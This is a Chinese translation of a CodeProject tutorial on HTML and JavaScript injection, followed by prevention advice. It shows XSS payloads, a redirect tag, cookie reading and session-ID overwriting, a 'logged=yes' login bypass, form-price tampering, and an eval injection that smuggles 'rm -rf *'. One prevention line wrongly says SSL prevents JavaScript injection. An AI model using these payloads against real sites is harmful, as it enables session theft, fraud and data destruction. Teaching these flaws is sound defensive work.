65.9K
CodeProject 正在变化。 阅读更多。
Home

HTML 和 JavaScript 注入

starIconstarIconstarIconstarIcon
emptyStarIcon
starIcon

4.86/5 (14投票s)

2010年12月6日

CPOL

6分钟阅读

viewsIcon

451949

HTML 和 JavaScript 代码注入技术。

引言

本文讨论用于利用网站漏洞的 HTML 和 JavaScript 注入技术。如今,找到一个对此类攻击完全易受攻击的网站并不常见,但只要有一个就足以利用它。我将把这些技术汇集在一起,以便于阅读并使其具有趣味性。HTML 注入是一种攻击类型,专注于浏览器在客户端如何生成和解释 HTML 内容。另一方面,JavaScript 是动态网站中广泛使用的技术,因此使用基于此的技术,如注入,可以补充“代码注入”的术语。

代码注入

这类攻击之所以成为可能,是因为客户端浏览器默认启用了解释嵌入 HTML 内容中的脚本的能力,因此,如果攻击者在网站中嵌入了类似 <SCRIPT><OBJECT><APPLET><EMBED> 的脚本标签,则 Web 浏览器的 JavaScript 引擎将执行它。这类注入的典型目标是论坛、留言簿或管理员允许插入文本评论的任何部分;如果网站的设计没有解析插入的评论,并将“<”或“>”视为普通字符,那么恶意用户就可以输入

I like this site because <script>alert('Injected!');</script> teaches me a lot

如果它有效并且您可以看到消息框,那么攻击者的想象力将不受限制!一种常用的代码插入,用于驱动导航到另一个网站,是这样的:

<H1> Vulnerability test </H1> 
<META HTTP-EQUIV="refresh" CONTENT="1;url=http://www.test.com">

<FK><LI> 标签中也是如此。

<FK STYLE="behavior: url(http://<<Other website>>;">

用于执行恶意 JavaScript 代码的其他标签,例如 <BR><DIV>,甚至是 background-image

<BR SIZE="&{alert('Injected')}"> 
<DIV STYLE="background-image: url(javascript:alert('Injected'))">

如果 <TITLE> 标签是动态生成的,它通常是一个常见的薄弱点。例如,假设有这种情况:

<HTML>
<HEAD>
<TITLE><?php echo $_GET['titulo']; ?>
</TITLE>
</HEAD>
<BODY>
...
</BODY>
</HTML>

如果您将标题构建为“example </title></head><body><img src=http://myImage.png>”,则生成的 HTML 将首先插入‘myImage.png’图像。

<HTML>
<HEAD>
<TITLE>example</title></head><body><img src=http://myImage.png></TITLE>
</HEAD>
<BODY>
...
</BODY>
</HTML>

还有另一个危险的 HTML 标签可以利用 Web 浏览器的框架支持特性:<IFRAME>。此标签允许(在沙箱安全层内)使用 Web 浏览器元素(例如地址栏或书签)进行跨脚本攻击,但这超出了本文的范围。

另一方面,有一种广泛称为“内联”代码注入的常见技术。这项技术利用 JavaScript 函数“alert”和“void”。测试它非常容易,只需导航到任何网站,然后在 Web 浏览器的地址栏中输入:

javascript:alert('Executed!');

正如您所看到的,这不是一个有害的脚本,但是,假设您想获取有关网站的信息,例如,它是否使用 Cookie,您可以输入如下内容:

javascript:alert(document.cookie); 

如果网站不使用 Cookie,则没有问题,但如果使用,您就可以读取服务器会话 ID 或应用程序存储在 Cookie 中的任何用户数据的值。

现在假设我们使用 void() JavaScript 函数而不是 alert()。此函数向 Web 浏览器返回一个空值,因此不会执行页面重新加载操作。我们可以在此函数中更改 DOM 值,并且不会发生导航状态更改。想象一下,您找到一个网站,它在通用 Cookie“PHPSESSID”中存储 PHP 会话 ID;如果我们启动到另一个 Web 浏览器实例中同一网站的新导航,我们将获得一个新的‘PHPSESSID’;通过输入以下内容,我们可以更改两个实例中的会话 ID:

javascript: void(document.cookie="PHPSESSID = <<Any other session ID>>"); 
            alert(document.cookie);

(上面的代码被换行以避免滚动)

您将在消息框中看到分配给当前会话的新会话 ID。此示例还展示了在同一执行行中连接多个操作的可能性。

仅仅通过查看网站 Cookie,您就可以找到一些描述性的 Cookie 来实现安全功能;例如,如果您找到一个像“logged=no”这样的网站 Cookie,很可能您可以通过更改该 Cookie 的值直接进入登录区域。

javascript: void(document.cookie="logged=yes");

顺着这个思路,可以使用 JavaScript 修改任何 DOM 对象,并使用上述技术注入。通过分析网页的源代码,您可能会发现它使用了表单 (<FORM>) 来实现不同的目的;在这种情况下,您也可以使用 void() 函数来更改任何表单字段的值。想象一下一个购物门户及其购物车;如果网站设计者没有注意这种注入类型,您就可以填满购物车并以 1 美元的价格付款!

javascript:void(document.forms[0].total.value=1);

这些其他技术被称为间接代码注入;此技术不仅利用 Cookie 或表单修改,任何 DOM 组件或 HTTP 标头都会暴露。

因此,在开发 Web 应用程序时,牢记这些代码注入技术非常重要,以使其成为一个更安全的应用程序。

防止代码注入

在开发 Web 应用程序时,强烈建议遵循以下注意事项来防止代码注入:

  • 尽可能不要依赖客户端 JavaScript 验证;如前所述,使用“内联”注入很容易欺骗它。例如,假设您有一个购物门户,其中您依赖于客户端上的每个商品的价格。
  • 假设您只有一个表单来存储购物车;攻击者可以通过更改价格来修改您的账单,正如之前所见。

    javascript:void(document.forms[0].price.value=1);

    这种情况的解决方案只是将购物车操作保留在服务器端,并通过 AJAX 等方式刷新客户端。

  • 不要在 Cookie 中存储敏感数据,因为攻击者可以轻易修改它们(如前所述)。如果您需要在 Cookie 中存储数据,请使用服务器端密钥生成的哈希签名来存储它们。
  • 切勿使用隐藏字段来保存项目,因为它们可以硬编码到代码中。否则,您应该始终在服务器端使用安全算法验证字段,并将从客户端接收到的数据作为输入。
  • signatures.png

  • 就像上面的 <TITLE> 示例一样,最好不要使用动态 DOM 元素生成。
  • 注意动态评估漏洞(例如上面的 <TITLE> 示例)。想象一下 PHP 页面中的这段代码:
  • $dato = $_GET['formAge'];
    eval('$edad = ' . $dato . ';');

    eval() 参数将被处理,因此如果“formAge”设置为“5; system('/bin/rm -rf *')”,则将在服务器上执行其他代码,并删除所有文件。危险,您不觉得吗?

  • 如果您正在开发一个允许用户上传内容的网站(论坛、留言簿、“联系我”等),您可能需要转义特殊 HTML 字符,这样注入的标签将被保留在网站中,但不会被执行;您可以使用 strip_tags() PHP 函数、htmlentities()urlencode()htmlspecialchars() 来实现这一点,例如。
  • 对于敏感操作,请使用 SSL 证书;这可以防止 JavaScript 注入,但可以防止敏感数据被其他人读取。

最终,防御代码注入攻击的最佳方法在于编程时的“最佳实践”。

关注点

程序员在实现 Web 应用程序中的安全功能时有时会疏忽,从而使项目暴露给攻击者。

历史

  • 1.0 - 2010/05/12 - 原始版本。
© . All rights reserved.